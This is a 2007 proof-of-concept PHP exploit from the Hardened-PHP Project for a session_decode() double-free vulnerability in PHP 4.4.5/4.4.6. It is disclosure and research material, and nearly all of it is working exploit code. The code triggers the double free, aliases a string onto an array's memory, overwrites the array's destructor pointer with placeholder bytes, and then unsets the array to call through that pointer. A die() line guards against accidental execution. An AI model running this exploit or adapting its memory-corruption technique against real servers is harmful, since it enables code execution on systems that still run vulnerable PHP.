MOPB-sessiondecode.txt

`<?php  
////////////////////////////////////////////////////////////////////////  
// _ _ _ _ ___ _ _ ___ //  
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //  
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //  
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //  
// //  
// Proof of concept code from the Hardened-PHP Project //  
// (C) Copyright 2007 Stefan Esser //  
// //  
////////////////////////////////////////////////////////////////////////  
// PHP 4.4.5/4.4.6 session_decode() Double Free Vulnerability //  
////////////////////////////////////////////////////////////////////////  
  
// This is meant as a protection against remote file inclusion.  
die("REMOVE THIS LINE");  
  
ini_set("session.serialize_handler", "php");  
session_start();  
  
$varname = str_repeat("D", 39);  
$$varname = &$_SESSION;  
  
// Trigger the double free  
  
session_decode($varname.'|i:0;');  
$_________________x = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJ";  
$_________________a = array("OneElement");  
  
// Now x and a point to the same memory. Therefore x can be used to modify a  
  
// Overwrite pointer to the destructor   
$_________________x[8*4+0] = chr(0x55);  
$_________________x[8*4+1] = chr(0x66);  
$_________________x[8*4+2] = chr(0x77);  
$_________________x[8*4+3] = chr(0x88);  
  
// Trigger the destruction  
unset($_________________a);  
?>  
  
`